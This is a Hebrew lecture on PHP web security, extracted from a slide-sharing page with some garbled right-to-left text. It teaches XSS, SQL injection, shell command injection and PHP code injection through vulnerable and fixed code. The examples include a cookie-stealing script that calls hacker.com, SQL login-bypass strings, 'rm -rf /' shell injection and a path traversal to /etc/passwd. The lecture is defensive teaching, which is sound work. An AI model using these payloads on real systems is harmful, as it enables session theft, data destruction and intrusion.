Upload
shahar-evron
View
3.287
Download
1
Embed Size (px)
DESCRIPTION
הרצאה על PHP ואבטחה, זהו החלק הראשון שלה מתוך שניים.A lecture in Hebrew about PHP and security from a meeting of the Israeli PHP User Group.
Citation preview
.Copyright © 2007, Zend Technologies Inc
שחר עברון
,PHPאפליקציות ווב ואבטחהIחלק
| J an 19, 2008 | 2 PHPואבטחה
?מתי? מה? מי
היא נושא טעון, במיוחד- PHP וב- web, אבטחה ב•ה, מצד אחד web -שחלק גדול ממנו הוא, מכיל הרבה מאוד מידע
)כזה שמשתלם לגנוב אותו(בעל ערך / אישי / רגיש
ה, מצד שני web -שבו אין חוקים והכל מערב פרוע “הוא סוג של ”יכול לקרות
PHPהיא אחת השפות הפופולריות ביותר ב ,web -בייחוד אצלמתכנתים מתחילים שפחות מודעים לסכנות
רוב האפליקציות שנכתבות ב PHP -קל יותר, לכן. הם תוכנה חופשיתלאתר פרצות אבטחה
לפתור בעיות אבטחה) לא מאוד מוצלחים(היו מספר נסיונות , בעברברמת השפה
כללים בסיסיים
| J an 19, 2008 | 4 PHPואבטחה
?מה זה אבטחה ובשביל מה זה טוב
חשוב קודם כל להבין מה זה, בשביל לפתור בעיות אבטחה•בעיות אבטחה “בדיוק ”:
אובדן פוטנציאלי של מידע רגיש
אובדן פוטנציאלי של שעות עבודה
אובדן פוטנציאלי שלuptime
== רווחאובדן פוטנציאלי של
מ למנוע• “אבטחה היא אוסף של אמצעים שעלינו לנקות עאובדן פוטנציאלי של רווחאו לצמצם
| J an 19, 2008 | 5 PHPואבטחה
גישה נכונה לאבטחת אפליקציות ווב
-100%אפליקציה לעולם לא תהיה מאובטחת ב•זו תהיה טעות קונספטואלית לחשוב ככה, וגם אם כן...
נקיטה של מספר אמצעים חופפים כדי להשיג• –גישת עומק טובה יותראבטחה
מודעות למה שאנחנו לא מודעים אליו• 100% היכולת לתקן פרצות אבטחה עתידיות יותר חשובה מקוד
מאובטח!ארכיטקטורה יותר חשובה מאבטחה== •
| J an 19, 2008 | 6 PHPואבטחה
!לעולם אסור לבטוח במידע חיצוני
?אבל מה זה בדיוק מידע חיצוני•GET, POST, COOKIEFILES, SERVER ,ENVקבצים על הדיסק , בסיס נתונים
“אין ספק !“–אם יש ספק
?מה עושים עם מידע חיצוני• - validationבדיקת תקינות filtering, –סינון
• מותריםHTML Tags לדוגמה whitelisting – –רשימה לבנה
• לדוגמה מילים אסורות בפורוםblacklisting – –רשימה שחורה
ף - escapingהתאמה לפורמט נדרש - ּחילו
מאובטחתPHP סביבת
| J an 19, 2008 | 8 PHPואבטחה
display_errors
: Onבפיתוח• משגיאותנקי לחלוטין קוד
הודעות NOTICEחורי ”מעידות לעיתים קרובות על )הודעות על משתנים לא מאותחלים: לדוגמה(“אבטחה
: Offבזמן ריצה•מניעה של זליגת מידע פנימי אל המבקרים באתר
זה לא נראה טוב(-;
| J an 19, 2008 | 9 PHPואבטחה
register_globals
באופן-global scope ירשום משתנים ב, PHP כאשר פועל•'. וכוGET, POST, COOKIE אוטומטי לכל משתנה
מכובה כברירת(לא נמצא בשימוש רב בשנים האחרונות •אבל עדיין אפשר למצוא אפליקציות4.2) מחדל מאז
על סומכות “ש “.register_globals
הזרקה• מאפשר “פותח פרצות אבטחה פוטניאליות רבות ” –- global namespaceשל משתנים לתוך ה
חובה לאתחל את כל המשתנים –אם חייבים להתשמש (! E_NOTICE)
:הרגל רע גם מסיבות אחרות• קוד לא נייד(portable)
DeprecatedבPHP 6.0 -
| J an 19, 2008 | 10 PHPואבטחה
magic_quotes_gpc
('),לפני כל גרש (backslash) יוסיף לוכסן , PHP אם מופעל•- GET, POSTשנכנסים ב- null ו(\) לוכסן אחורי (”), גרשיים
- COOKIE.ו
שהיה אמור למנוע 'פיצ“• ברמת השפהSQL Injections “ר
מספק פתרון חלקי ביותר, בפועל•אין תמיכה בקידודים שונים
אין תמיכה בכל בסיסי הנתונים השונים
תמיד עדיף להשתמש בפונקציית escapingייעודית
יש עוד סיבות לכבות חוץ מאבטחה•רע מבחינת ביצועים
ייבוטל ב, לא פורטביליPHP 6.0 -
magic_quotes_gpcלהתבסס על לא , בקיצור•
| J an 19, 2008 | 11 PHPואבטחה
allow_url_*
• allow_url_fopenמאפשרת פתיחה של קבצים מרוחקים בעזרת הstream wrappers -
בפונקציות התומכות בכך') וכוHTTP, FTP, SSH כ "בד(הנתמכים ,fopen, file_get_contents)ועוד רבות.(
כדאי בהחלט לכבות אם לא צריך, פועל כברירת מחדל
•allow_url_include של קוד הרצה מאפשרת PHP מרוחק דרךstream wrappers
קיים מאזPHP 5.2
כבוי כברירת מחדל
Code injection waiting to happenאיזה סיבה לעזאזל יש למישהו להפעיל דבר כזה!?!?
התקפות הזרקה Injection Attacks
| J an 19, 2008 | 13 PHPואבטחה
Cross-Site Scripting - XSS
client-side הזרקה של קוד •HTMLCSSJavaScript
אחת החולשות הנפוצות ביותר•
י הדפדפן/ התוקף שותל קוד זדוני שיפורש ויוצג • “יופעל עשל הקורבן
השחתה• להתקפות נוספות מקפצה –יכולה לשמש כ “ “, ,phishing, session hijackingגניבת סיסמאות וכו'
• persistent –קבועה non-persistent–לעומת זמנית
| J an 19, 2008 | 14 PHPואבטחה
- XSSדוגמה
<body> <h1>Welcome to my site</h1> <form> <fieldset title="Search"> Search for: <input type="text" name="q" value="<?php echo (isset($_GET['q']) ? $_GET['q'] : ''); ?>" /> <input type="submit" value="Search" /> </fieldset> </form><?php if (isset($_GET['q'])): ?> <h2>Search results for "<?php echo $_GET['q']; ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul> <?php endif; ?> </body>
- XSSכל הדפסה של קלט מהמשתמש ללא חילוף פגיעה ל•
| J an 19, 2008 | 15 PHPואבטחה
- XSSדוגמה
JavaScript:בעזרת הזרקת קוד session ID גניבת •
<script>alert(document.cookie);</script> <script>i=new Image(); i.src='http://hacker.com/owned.php?' +
document.cookie;</script>
| J an 19, 2008 | 16 PHPואבטחה
Cross-Site Scripting - XSS
קל מאוד למנוע בעזרת פונקציות, כמו כל התקפות ההזרקה•:חילוף ייעודיות
htmlspecialchars()htmlentities()
חובה לסנן את הקלטHTML, במקרים בהם רוצים להרשות •"רשימה לבנה"לפי
לדוגמה - להרשות רק תגים מסויימיםstrong, em, u, div, a, span
להרשות רק attributes לדוגמה - מסוימים href ולאstyle
יש ספריות מוכנות לסינוןHTML•http://htmlpurifier.org
אפשר לבצע לבד בקלות בעזרת tidy אוDOM
| J an 19, 2008 | 17 PHPואבטחה
– XSSדוגמה מתוקנת
Search for: <input type="text" name="q" value="<?php echo (isset($_GET['q']) ? htmlspecialchars($_GET['q'], ENT_QUOTES) : ''); ?>" /> <input type="submit" value="Search" /> </fieldset> </form> <?php if (isset($_GET['q'])): ?> <h2>Search results for "<?php echo htmlspecialchars($_GET['q']); ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul> <?php endif; ?>
לפני הדפסה- htmlspecialchars שימוש ב•
| J an 19, 2008 | 18 PHPואבטחה
SQL Injection
הזרקה של קוד לקלט מתוך ידיעה שהקלט יישלך לבסיס•SQLהנתונים ויפורש שם כקוד
:לדוגמה, יכול להוות בסיס לפעילויות שונות•עקיפה של סיסמאות ושינוי הרשאות
שינוי נתונים
השחתה של בסיס הנתונים(DOS)
מחיקה של בסיס הנתונים(DOS)
הרבה מאוד אפליקציות ווב מעבירות• –בעיה נפוצה מאוד קלט מהמשתמש אל בסיס הנתונים
| J an 19, 2008 | 19 PHPואבטחה
– SQL Injectionדוגמה
$username = $_POST['username']; $password = $_POST['password'];
$sql = "SELECT 1 FROM users " . "WHERE user = '$username' AND password = MD5('$password')";
$res = mysql_query($sql);
בדיקה/ ללא חילוף - SQL שליחה של מידע חיצוני כחלק מ•
מ לנצל את הפרצה• :“ניתן להכניס את הקלט הבא עעקיפה של מנגנון הסיסמה:
username=' OR '' = '
password=') OR MD5('') = MD5('
ניתן לבצע גם השחתה של בסיס הנתונים ,DOS ,שינוי נתונים.וסיסמאות ועוד
| J an 19, 2008 | 20 PHPואבטחה
SQL Injection
:קל מאוד למנוע בעזרת חילוף, כמו כל התקפות ההזרקה• פונקציות escapingייעודיות של בסיס הנתונים
•mysql_real_escape_string•pg_escape_string
'וכו•
Casting to integer / floatPDO-<quote() addslashes()לא טוב מספיק!
•Prepared StatementsPDO, MySQLiבהרבה מקרים עדיף גם מבחינת ביצועים
| J an 19, 2008 | 21 PHPואבטחה
– SQL Injectionקוד תקין
$con = mysql_connect('....'); $username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']);
$sql = "SELECT 1 FROM users " . "WHERE user = '$username' AND password = MD5('$password')";
$res = mysql_query($sql);
• mysql–חילוף
• PDO–חילוף
$pdo = new PDO("mysql:dbname=mydb", 'user', 'password'); $username = $pdo->quote($_POST['username']); $password = $pdo->quote($_POST['password']);
| J an 19, 2008 | 22 PHPואבטחה
– SQL Injectionקוד תקין
$user_id = (int) $_GET['user_id']; $sql = "SELECT * FROM users WHERE id = $user_id";
- Integerהמרה ל•
•Prepared statement - PDO$pdo = new PDO("mysql:dbname=mydb", 'user', 'password');
$stmt = $pdo->prepare( "SELECT 1 FROM users " . "WHERE user = :username AND password = MD5(:password)" );
$result = $stmt->execute(array( 'username' => $username, 'password' => $password) );
| J an 19, 2008 | 23 PHPואבטחה
Shell Command Injection
תוך ניצול של" מערכת ההפעלה"הזרקה של קוד אל •שמריצות פקודות מערכתPHP פקודות
אופרטור(``) backtick
משפחתexec()
אבל חשוב מאוד להיזהר כאשר מכניסים• –לא נפוץ מאוד מפני שהסכנות גדולות מאוד, פרמטרים לתוך פקודות אלו
| J an 19, 2008 | 24 PHPואבטחה
- Shell Injectionדוגמה
שימוש במידע חיצוני בפקודות מערכת•
מ לנצל את הפרצה• :“ניתן להכניס את הקלט הבא עמחיקה של כל הקבצים שיש לשרת גישה אליהם:
path=foo; rm -rf /
:Denial of Servicepath=foo; sleep 315360000
...בעיקרון ניתן להריץ כמעט כל פקודת מערכת
// Get a listing of a public directory $folder = $_GET['path']; echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>';
| J an 19, 2008 | 25 PHPואבטחה
Shell Command Injection
קל מאוד למנוע בעזרת פונקציות, כמו כל התקפות ההזרקה•:חילוף ייעודיות
escapeshellarg()escapeshellcmd()השניה לא מחליפה רווחים –ההבדל ביניהם
כדאי, אם מכניסים קלט מהמשתמש לתוך פקודות מערכת•ובווידוא שהקלט- whitelist filtering מאוד להשתמש ב
תקין
| J an 19, 2008 | 26 PHPואבטחה
– Shell Injectionקוד תקין
$folder = escapeshellarg($_GET['path']); echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>';
פרמטר בודד• –חילוף
כל הפקודה• –חילוף
$cmd = escapeshellcmd("ls -l /ftp/public/$folder"); echo '<pre>'; passthru($cmd); echo '</pre>';
| J an 19, 2008 | 27 PHPואבטחה
– Shell Injectionקוד תקין
// White-list filtering: $allowed_paths = array( 'videos', 'images', 'music', 'books', 'uploads'); if (in_array($_GET['path'], $allowed_paths)) { $folder = $_GET['path'];
echo '<pre>'; passthru("ls -l /ftp/public/$folder"); echo '</pre>'; }
סינון לפי רשימה לבנה•
| J an 19, 2008 | 28 PHPואבטחה
PHP Code Injection
לתוך התוכניתPHP הזרקה של קוד •
:פונקציות שצריך לשים אליהם לב•קריאות ל include - או requireעם שם קובץ משתנה
- allow_url_include=Onרגיש בעיקר כש•
eval() preg_replace() עם/e
create_function()
חשוב מאוד, כאשר משתמשים בפונקציות אלו עם משתנים מבחוץ- white-list filteringוvalidation לבצע
| J an 19, 2008 | 29 PHPואבטחה
- PHP Code Injectionדוגמה
י ניצול • include“קריאת קבצים ע
מ לנצל את הפרצה• :“ניתן להכניס את הקלט הבא עקבלת רשימה של כל המשתמשים במערכת ההפעלה:
template=../../../../../../../../etc/passwd
קוד זה מאפשר ,מופעלallow_url_include אם •שרירותי על השרתPHP הרצה של קוד
$tpl = $_GET['template']; include 'templates/' . $tpl;
| J an 19, 2008 | 30 PHPואבטחה
– PHP Code Injectionקוד תקין
י סינון לפי רשימה לבנה• :“המנעות ע
באופן כללי רצוי להנע לחלוטין משימוש במידע חיצוני כחלק•'וכוinclude, eval מפקודות כמו
$templates = array( 'blue' => 'templates/blue.phtml', 'aqua' => 'templates/aqua.phtml', 'ugly' => 'templates/ugly.phtml' );
$tpl = (isset($templates[$_GET['template']]) ? $templates[$_GET['template']] : 'templates/blue.phtml');
include $tpl;
| J an 19, 2008 | 31 PHPואבטחה
התקפות הזרקה –סיכום
- webהתקפות הזרקה הם כנראה הנפוצות ביותר ב•יחסית קל לאתר ולפתור אותן : החדשות הטובות
וגם באופן הטיפול בהן, כל התקפות ההזרקה דומות באופיין•
“ולאן הוא הולך- data דע מאין בא ה"•האם אפשר לבטוח במקור הנתונים?
מה הפורמט הבטוח שבו אפשר להשתמש בנתונים?
י סינון קלט טוב רק במקרים• “טיפול בהתקפות הזרקה עמסוימים
כ חילוף עדיף(output escaping) “בד
?שאלות
| J an 19, 2008 | 33 PHPואבטחה
IIבחלק
Sessionהתקפות •Session InjectionSession Hijacking
טעויות לוגיות ותכנותיות•CSRFחשיפת קבצים סטטיים
גישות ואמצעי אבטחה כלליים•
shared hostingאבטחה בסביבת •
תודה רבה!ושנה טובה